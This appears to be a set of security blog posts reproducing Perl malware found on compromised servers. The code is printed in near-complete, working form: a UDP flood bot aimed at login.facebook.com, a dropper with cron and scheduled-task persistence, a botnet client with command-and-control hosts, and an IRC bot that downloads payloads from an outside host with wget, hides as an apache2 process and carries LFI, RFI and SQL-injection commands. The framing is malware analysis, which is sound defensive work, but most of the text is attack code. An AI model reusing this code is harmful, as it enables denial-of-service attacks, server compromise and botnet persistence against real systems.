Together with the flood bots that I noticed and wrote about in a previews post, there was a flood bot specifically created to target facebook logins. From the coding style and some similarities it looks like it’s written from the same people that created ‘Gootkit ddos system’.

The code,

#!/usr/bin/perl

use Fcntl qw(:flock :DEFAULT);
use Socket;

use IO::Socket;

use IO::Select;

print "Content-type: text/plain\n\n";
print "Decepticons ahead!";

# Set target parameters

my $targetHost = "login.facebook.com";
my $targetPort = "80";
my $targetPacketSize = "1024";
my $threads = 10;

############################################

my $os = $^O;
my $child = undef;

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
#$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

my $pid=fork;

if ($pid) {
# print "kill parent $$\n";
exit;
}

main ();

sub main {
        my $arg = $_[0];
        if ($arg eq "iamchild"){
                udpflooder($targetHost, $targetPort, $targetPacketSize);
                exit;
        }
        else {
                for (my $i=0; $i<$threads; $i++)
                {
                        $thread = fork;
                        if ($thread == 0){      #child
                                main("iamchild");
                        }
                        else { #parent
                                next;
                        }
                }
        }
}
#udpflooder($targetHost, $targetPort, $targetPacketSize);
sub genGarbage {

        my $len = $_[0];
        my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|\=-~`1234567890";
        my $garbage = '';

        for my $i (0..$len){
                my $symbol = substr $chars, int rand length($chars), 1;
                $garbage .= $symbol;
        }
        return $garbage;

}

sub udpflooder {

$child = fork;

if ($child == 0){

                my $iaddr = inet_aton($_[0]);
                my $host = $_[0];
                my $porta = $_[1];
                my $packetSize = $_[2];
                my $msg = genGarbage($packetSize);
                my $socketUdp;

socket($socketUdp, PF_INET, SOCK_DGRAM, getprotobyname('udp')) or return(undef);

                while (1)
                {
                        send($socketUdp, $msg, 0, sockaddr_in($porta, $iaddr));
                }
        }
        else {
                exit;
        }
}

Perl bots recently found

2012-03-06T22:27:00.001+02:00

It’s been awhile since I my last post but work is pressing these days and I’m trying to push my new website for public awareness in the .gr tld over the hacking scene and hacked domains. The new blog and soon website can be found at http://www.my-audit.gr and http://www.my-audit.gr/blog. Still this blog will remain as personal and general about security issues.

Few days ago I had a problem with some servers mainly due to high outgoing traffic, client ask to monitor the systems and find what is wrong on them. After a brief check I spotted the perl bots running in the system and causing the problems. The specific bot (part of the Gootkit ddos system) it was the first time that I had the chance to locate. Interesting part is that the bot can run bot on windows and on linux systems, dropping the correct payload based on the operating system.

OS detection:

#!/usr/bin/perl
use strict;
use warnings;
use MIME::Base64;
print "Content-type: text/plain\n\n";

my $os = $^O;
print "$os\n";
if ($os eq "MSWin32") {
    my $temp = `echo %temp%`;
    chomp $temp;
    my $botfile = $temp."\\~PIF3E6.tmp.pl";
    `cd $temp`;

    open(BODY, ">", $botfile);

print BODY decode_base64(" _LONG TEXT_”)

close(BODY);

    my $pid = fork;
    if ($pid eq 0){

        `schtasks /delete /f /tn perl`;
        `schtasks /create /tr \"perl $botfile\" /tn perl /sc MINUTE /mo 1`;
        `perl $botfile`;
        exit;
    }
    `perl $botfile`;
    exit;
}
#linux
open(OLD_UNIX, ">", "/tmp/.X11-unix");

print OLD_UNIX decode_base64(" _LONG_TEXT” )

close(OLD_UNIX);
system("echo '* * * * * perl /tmp/.X11-unix >/dev/null 2>&1' > /tmp/cron.d ; crontab /tmp/cron.d ; rm /tmp/cron.d");
system("perl /tmp/.X11-unix");
print "exdone\n";

Extracted from the base64 decoded string is the following perl script:

#!/usr/bin/perl

#part of the Gootkit ddos system
use Fcntl qw(:flock :DEFAULT);

use Socket;
use IO::Socket;
use IO::Select;

use POSIX 'setsid';
use Cwd 'abs_path';

print "Content-type: text/plain\n\n";

#---------------------------------------------------#
# CUSTOM parameters #
#---------------------------------------------------#
my $number_of_bots = 5;
my @defaults = ("tagtags.net:80", "demire.net:80", "kayzio.net:80");
my $pingTimeout = 1200;
my $proxyPort = 5432;
#---------------------------------------------------#

my $lockfilename;
my $serverfile;
my $idfile;
my $uafile;

my $kernel;
my $version = "2";
my $localip;
my $botid;
my $ua;

my $script_path = abs_path($0);

if ($^O eq "MSWin32"){
        my $temp = `echo %temp%`;
        chomp $temp;
        $lockfilename = $temp."\\~PIF3G6.tmp";
        $serverfile = $temp."\\~PIFSRV6.tmp";
        $idfile = $temp."\\~PIFID45.tmp";
        $uafile = $temp."\\~PIFUA11.tmp";
}
else {
        $lockfilename = "/tmp/apachectrl2.lock";
        $serverfile = "/tmp/apachectrl2.log";
        $idfile = "/tmp/id";
        $uafile = "/tmp/ua";
}

exit if (!check_multiprocess());

if ($ARGV[0] eq "detach"){
detachFromConsole();
exit;
}

if ($ARGV[0] eq "normal"){
        print "normal work pid = $$...\n";
        getKernel();
        getBotId();
        getLocalIp();
        getUA();
        print "version = ".$version."\nkernel = ".$kernel."\nos = ".$^O."\nlocalip = ".$localip."\nbotid =
".$botid."\nua = ".$ua."\n";

        my %tasks = ();
        my @newTaskList;
        my $currentServer;
        my $currentPort;
        my $child = undef;
        my $child_pid;

        $SIG{'INT'} = 'IGNORE';
        $SIG{'HUP'} = 'IGNORE';
        #$SIG{'TERM'} = 'IGNORE';
        #$SIG{'CHLD'} = 'IGNORE';
        $SIG{'PS'} = 'IGNORE';

        #addServer ("who.is:7015");
        #delServer("who.is:7015");
        #getDomain ("pre", "suf.co.uk");
        #proxy();

        while (1){
                Ping ("/ping");
                sleep $pingTimeout;
        }
        exit;
}

#if ($ARGV[0] eq "daemon")
{
        print "daemon...\n";
        demonize();
        exit;
}

sub REAPER {
while (waitpid(-1, WNOHANG) > 0){}
$SIG{CHLD} = \&REAPER;
}

#------------------------------------------------------------------#
sub demonize {

        if ($^O eq "MSWin32")
        {
                my $schedDelete = "schtasks /delete /f /tn perl";
                my $schedCreate = "schtasks /create /tr \"".$^X." ".abs_path($0)." detach\" /tn perl /sc MI
NUTE /mo 1";
                print $schedDelete."\n";
                print $schedCreate."\n";
                `$schedDelete`;
                `$schedCreate`;

                my $child_proc;
                print "detach...\n";
                require Win32::Process;
                Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_
PROCESS, ".") || die "Could not spawn child: $!";
                $child_pid = $child_proc->GetProcessID();
                print "child_pid = $child_pid, pid = $$ \n";

                sleep(1.0);
                POSIX::waitpid(-1, POSIX::WNOHANG()); # clean up any defunct child process
                print "exit pid=$$\n";
                exit;
        }
        else {
                $SIG{CHLD} = \&REAPER;
                if ( fork() ) {
                        exit;
                }
                setsid();

                chdir('/');
                open STDIN, "<", "/dev/null";
                open STDOUT, ">", "/dev/null";
                open STDERR, ">", "/dev/null";
                umask(077);

                $SIG{CHLD} = \&REAPER;
                if ( fork() ) {
                        exit;
                }
                `echo '* * * * * $^X $script_path detach >/dev/null 2>&1' > /tmp/cron.d; crontab /tmp/cron.
d ; rm /tmp/cron.d`;
                print "$$ exec...\n";
                # Now go back to your regular business.
                exec "$^X $script_path normal";
                exit;
        }
}

#------------------------------------------------------------------#
sub detachFromConsole {
        if ($^O eq "MSWin32")
        {
                my $child_proc;
                print "detach...\n";
                require Win32::Process;
                Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_
PROCESS, ".") || die "Could not spawn child: $!";
                $child_pid = $child_proc->GetProcessID();
                print "child_pid = $child_pid, pid = $$ \n";
        }
        else {

                $SIG{CHLD} = \&REAPER;
                if ( fork() ) {
                        exit;
                }
                setsid();

                chdir('/');
                open STDIN, "<", "/dev/null";
                open STDOUT, ">", "/dev/null";
                open STDERR, ">", "/dev/null";
                umask(077);

                $SIG{CHLD} = \&REAPER;
                if ( fork() ) {
                        exit;
                }
                print "$$ exec...\n";
                # Now go back to your regular business.
                exec "$^X $script_path normal";
                exit;
        }
}
#------------------------------------------------------------------#
sub check_multiprocess {
        for (my $i=0; $i<$number_of_bots; $i++){
                my $lockfile=$lockfilename.".".$i;
                if (-f $lockfile){
                                my $lock_pid = 0;
                                open(LOCK,"<$lockfile");
                                my $zombie_lock_flag = flock(LOCK, LOCK_EX|LOCK_NB);
                                close (LOCK);
                                if ($zombie_lock_flag == 0){
                                        next;
                                } else {
                                        unlink("$lockfile");
                                        redo;
                                }
                }else{
                        sysopen(LOCK, $lockfile, O_CREAT|O_EXCL|O_WRONLY) or die 'cannot create lock file';
                        print LOCK "$$\n";
                        close(LOCK);
                        open(GLOB_LOCK,"<$lockfile");
                        flock(GLOB_LOCK, LOCK_EX);
                        return 1;
                }
        }
        return 0;
}
#------------------------------------------------------------------#

sub proxy {
        $SIG{CHLD} = \&REAPER;
        $child = fork;
        if ($child == 0)
        {
                my $proxySocket;
                socket($proxySocket, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
                setsockopt($proxySocket, SOL_SOCKET, SO_REUSEADDR, 1) or die "Can't set socket option to SO
_REUSEADDR $!\n";
                bind ($proxySocket, sockaddr_in($proxyPort, INADDR_ANY)) or die "Can't bind to port $proxyP
ort! \n";
                listen($proxySocket, SOMAXCONN) or die "listen: $!";
                print "Server: started on port $proxyPort\n";

                my $activeSockets = 0;
                while (1) {
                        my $clientSocket;
                        my $clientAddr;

print "Server: waiting for connect...\n";

                        $clientAddr = accept($clientSocket, $proxySocket);
                        $activeSockets ++;
                        print "Server: new connect. activeSockets = $activeSockets\n";

my $targetHost = "";
my $x;

                        my $recievedLine = "";
                        my $dataToSend = "";
                        do {

…. very long many capabilities udp flood http flood, if anybody would like to have a copy contact me.

Short post, a complete perl attacking bot

2011-10-03T22:07:00.001+03:00

Something found in the wild, causing some problems in servers here and there. Bot is running impersonating apache2 process, "/usr/sbin/apache2 -k start", setting the user-agent with more than 60 different options and attacking a wide range of web applications.

Code is here,

  1: #!/usr/bin/perl
  2: ################################################  
  3: use HTTP::Request;                             #
  4: use HTTP::Request::Common;                     #
  5: use HTTP::Request::Common qw(POST);            #
  6: use LWP::Simple;                               #
  7: use LWP 5.64;                                  #
  8: use LWP::UserAgent;                            #
  9: use Socket;                                    #
 10: use IO::Socket;                                #
 11: use IO::Socket::INET;                          #
 12: use IO::Select;                                #
 13: use MIME::Base64;             #
 14: ################################################
 15: 
 16: my $datetime = localtime;
 17: 
 18: my $Rondoeproc  = "/usr/sbin/apache2 -k start"; 
 19: my $ircserver   = $ARGV[0] unless $ircserver;
 20: my $ircport   = $ARGV[1];
 21: my $nickname  = $ARGV[2];
 22: my $ident     = $ARGV[3];
 23: my $channel   = '#'.$ARGV[4];
 24: my $admin     = $ARGV[5];
 25: my $fullname    = "Suwong Community";
 26: 
 27: my $nob0dy    = "154@9nobody15)";
 28: my $lfilogo   = "15(4@11LFI15)";
 29: my $rfilogo   = "15(4@11RFI15)";
 30: my $e107logo  = "15(4@11e10715)";
 31: my $xmllogo   = "15(4@11XML15)";
 32: my $sqllogo   = "15(4@11SQL15)";
 33: my $oscologo  = "15(4@11oSCo15)";
 34: my $zenlogo   = "15(4@11ZEN15)";
 35: my $oplogo    = "15(4@11OPEN15)";
 36: my $admlogo   = "15(4@11PHP15)";
 37: my $smslogo   = "15(4@11SMS15)";
 38: my $ossqllogo   = "15(4@11OSCO-SQL15)";
 39: my $e107logosql = "15(4@11E107-SQL15)";
 40: 
 41: my $lficmd    = '!lfi';
 42: my $rficmd    = '!rfi';
 43: my $e107cmd   = '!e107';
 44: my $xmlcmd    = '!xml';
 45: my $sqlcmd    = '!mysql';
 46: my $oscocmd   = '!osco';
 47: my $zencmd    = '!zen';
 48: my $admcmd    = '!adm';
 49: my $opcmd     = '!op';
 50: my $ossqlcmd  = '!oscmd';
 51: my $esqlcmd   = '!sqle';
 52: my $Cyblfi   = '!lfi2';
 53: 
 54: my $cmdlfi    = '!cmdlfi';
 55: my $cmde107   = '!cmde107';
 56: my $cmdxml    = '!cmdxml';
 57: 
 58: my $injector  = "http://call-outsource.ru/logs/crew.jpg";
 59: my $botshell  = "http://call-outsource.ru/logs/daster.jpg";
 60: my $botshell2  = "http://call-outsource.ru/logs/topi.jpg";
 61: my $botshell3  = "http://call-outsource.ru/logs/j1.txt";
 62: my $botshell4  = "http://call-outsource.ru/logs/j2.txt";
 63: my $cocok      = "http://call-outsource.ru/logs/cocok.txt";
 64: my @domen     = ("site:.org","site:.net","site:.com","site:.au","site:.bg","site:.il","site:.ir","site:.br","site:.be","site:.biz","site:.ca","site:.cz","site:.de","site:.fr","site:.fi","site:.uk","site:.ru","site:.jp","site:.nl","site:.es","site:.sg","site:.tv","site:.my","site:.pt","site:.za","site:.co","site:.cc",
 65:                  "site:.it","site:.hu","site:.mx","site:.info","site:.pl","site:.vn","site:.us","site:.ua","site:.eu","site:.ch","site:.gr","site:.ro","site:.ar","site:.pd","site:.lt","site:.pr","site:.kr","Itemid,27","Itemid,37","Itemid,47","Itemid,57","Itemid,67","Itemid,87","Itemid,97","Itemid,107","Itemid,117");
 66: 
 67: my @uagents   = ("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
 68:                  "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",
 69:                  "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
 70:            "Seamonkey-1.1.13-1(X11; U; GNU Fedora fc 10) Gecko/20081112");
 71:     "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",
 72:     "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",
 73:     "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",
 74:     "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",
 75:     "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",
 76:     "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",
 77:     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
 78:     "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",
 79:     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
 80:     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)",
 81:     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",
 82:     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)",
 83:     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
 84:     "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",
 85:     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
 86:     "Microsoft Pocket Internet Explorer/0.6",
 87:     "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",
 88:     "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;",
 89:     "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)",
 90:     "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",
 91:     "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)",
 92:     "Advanced Browser (http://www.avantbrowser.com)",
 93:     "Avant Browser (http://www.avantbrowser.com)",
 94:     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",
 95:     "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)",
 96:     "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",
 97:     "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",
 98:     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
 99:     "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929",
100:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0",
101:     "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",
102:     "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4",
103:     "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",
104:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6",
105:     "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6",
106:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
107:     "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",
108:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
109:     "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",
110:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5",
111:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
112:     "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",
113:     "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1",
114:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
115:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1",
116:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2",
117:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",
118:     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b",
119:     "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0",
120:     "Mozilla/3.0 (OS/2; U)",
121:     "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",
122:     "Mozilla/4.61 (Macintosh; I; PPC)",
123:     "Mozilla/4.61 [en] (OS/2; U)",
124:     "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",
125:     "Mozilla/4.8 [en] (Windows NT 5.0; U)","Alcatel-OH5/1.0 UP.Browser/6.1.0.7.7 (GUI) MMP/1.0",
126:     "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Mobile/7D11",
127:     "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7D11 Safari/528.16",
128:     "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16",
129:     "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20",
130:     "Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C106c",
131:     "Mozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7D11",
132:     "Mozilla/5.0 (Linux; U; Android 2.1-update1; en-gb; Desire_A8181 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
133:     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) BlackBerry8707/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/150",
134:     "FreeWebMonitoring SiteChecker/0.1 (+http://www.freewebmonitoring.com)",
135:     "Gigabot/3.0 (http://www.gigablast.com/spider.html)",
136:     "gsa-crawler (Enterprise; GID-01422; jplastiras@google.com)",
137:     "Mozilla/5.0 (Windows; U; Windows NT 5.1;en-US;rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12",
138:     "IlTrovatore-Setaccio/1.2 (http://www.iltrovatore.it/aiuto/faq.html)",
139:     "Mozilla/5.0 (Windows;U;Windows NT 5.1; l-PL;rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4",
140:     "Infoseek SideWinder/2.0B (Linux 2.4 i686)",
141:     "Mozilla/5.0 (X11;U;Linux i686 (x86_64);en-US;rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6",
142:     "Mozilla/5.0 (compatible;Baiduspider/2.0;+http://www.baidu.com/search/spider.html)",
143:     "Mozilla/5.0 (Windows;U;Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1",
144:     "Mozilla/5.0 (compatible;bingbot/2.0;+http://www.bing.com/bingbot.htm)",
145: my $uagent    = $uagents[rand(scalar(@uagents))];
146: my $lfdtest   = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
147: my $open_test = "/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
148: my $adm_output = ("uid=");
149: my $open_output = ("FCKeditor - Connectors Tests");
150: 
151: my @tabele    = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
152:           'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
153:           'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
154:           'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
155:           'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
156:           'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
157:           'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
158:           'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
159:           'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
160:           'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
161: my @kolumny    = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
162:           'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
163:           'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
164:           'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
165:           'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
166:           'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
167: $SIG{'INT'}   = 'IGNORE';
168: $SIG{'HUP'}   = 'IGNORE';
169: $SIG{'TERM'}  = 'IGNORE';
170: $SIG{'CHLD'}  = 'IGNORE';
171: $SIG{'PS'}    = 'IGNORE';
172: chdir("/tmp");
173: chop (my $priper = `wget http://call-outsource.ru/logs/crew.jpg -O crew.jpg;wget http://call-outsource.ru/logs/crew.jpg -O crew.jpg;wget http://call-outsource.ru/logs/daster.jpg -O daster.jpg;wget http://call-outsource.ru/logs/topi.jpg -O topi.jpg;wget http://call-outsource.ru/logs/j1.txt -O j1.txt;wget http://call-outsource.ru/logs/j2.txt -O j2.txt;wget http://call-outsource.ru/logs/cocok.txt -O cocok.txt`);
174: $ircserver = "$ARGV[0]" if $ARGV[0];
175: $0 = "$Rondoeproc"."\0" x 16;;
176: my $pid = fork;
177: exit if $pid;
178: die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
179: 
180: our %irc_servers;
181: our %DCC;
182: my $dcc_sel = new IO::Select->new();
183: $sel_client = IO::Select->new();
184: sub sendraw {
185:     if ($#_ == '1') {
186:     my $socket = $_[0];
187:     print $socket "$_[1]\n";
188:     } else {
189:         print $IRC_cur_socket "$_[0]\n";
190:     }
191: }
192: 
193: sub connector {
194:     my $mynick = $_[0];
195:     my $ircserver_con = $_[1];
196:     my $ircport_con = $_[2];
197:     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
198:     if (defined($IRC_socket)) {
199:         $IRC_cur_socket = $IRC_socket;
200:         $IRC_socket->autoflush(1);
201:         $sel_client->add($IRC_socket);
202:     $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
203:         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
204:         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
205:         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
206:         nick("$mynick");
207:         my $versi   = "-";
208:         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
209:         sleep (1);}}
210: sub parse {
211:     my $servarg = shift;
212:     if ($servarg =~ /^PING \:(.*)/) {
213:         sendraw("PONG :$1");
214:     }
215:     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
216:         if (lc($1) eq lc($mynick)) {
217:             $mynick = $4;
218:             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
219:         }
220:     }
221:     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
222:         nick("$mynick".int rand(1));
223:     }
224:     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
225:         $mynick = $2;
226:         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
227:         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
228:         sendraw("MODE $mynick +i");
229:         sendraw("JOIN $channel");
230:         sleep(2);
231:         sendraw("PRIVMSG $admin :Hi $admin im here !!!");
232:     }
233: }
234: my $line_temp;
235: while( 1 ) {
236:     while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
237:     select(undef, undef, undef, 0.01);;
238:     delete($irc_servers{''}) if (defined($irc_servers{''}));
239:     my @ready = $sel_client->can_read(0);
240:     next unless(@ready);
241:     foreach $fh (@ready) {
242:         $IRC_cur_socket = $fh;
243:         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
244:         $nread = sysread($fh, $ircmsg, 4096);
245:         if ($nread == 0) {
246:             $sel_client->remove($fh);
247:             $fh->close;
248:             delete($irc_servers{$fh});
249:         }
250:         @lines = split (/\n/, $ircmsg);
251:         $ircmsg =~ s/\r\n$//;
252: 
253:         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
254:             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
255:       my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR,AmiDalLa,BusCaR,KvaSiR,eXciTe,InteRia,SnZ,RambLer,YaNdeX,AllTheWeb,IxQuic,LiBero,mSn,GooDsEaRch,MaMmA,FiRebalL,WeBcRawLer";
256:             if ($path eq $mynick) {
257:                 if ($msg =~ /^PING (.*)/) {
258:                     sendraw("NOTICE $nick :PING $1");
259:                 }
260:                 if ($msg =~ /^VERSION/) {
261:                     sendraw("NOTICE $nick :VERSION mIRC v6.17 Rondo");
262:                 }
263:                 if ($msg =~ /^TIME/) {
264:                     sendraw("NOTICE $nick :TIME ".$datetime."");
265:                 }
266:                 if (&isAdmin($nick) && $msg eq "!die") {
267:                     &shell("$path","kill -9 $$");
268:                 }
269:                 if (&isAdmin($nick) && $msg eq "!killall") {
270:                     &shell("$path","killall -9 perl");
271:                 }
272:                 if (&isAdmin($nick) && $msg eq "!reset") {
273:                     sendraw("QUIT :Lompat...");
274:                 }
275:                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
276:                     sendraw("JOIN #".$1);
277:                 }
278:                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
279:                     sendraw("PART #".$1);
280:                 }
281:                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
282:                     sendraw("NICK ".$1);
283:                 }
